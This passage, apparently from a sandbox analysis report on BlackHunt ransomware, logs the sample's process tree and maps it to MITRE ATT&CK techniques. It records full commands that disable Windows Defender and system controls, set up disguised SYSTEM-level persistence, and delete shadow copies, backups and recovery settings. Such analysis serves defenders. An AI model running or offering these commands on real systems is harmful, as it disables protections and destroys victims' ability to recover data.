    - Modifies registry class
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:5056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F
  2⤵
  PID:4612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:640
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3904
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2500
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3696
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4224
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2344
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies registry class
    PID:4264
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1860
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3492
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2292
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3612

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4860

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery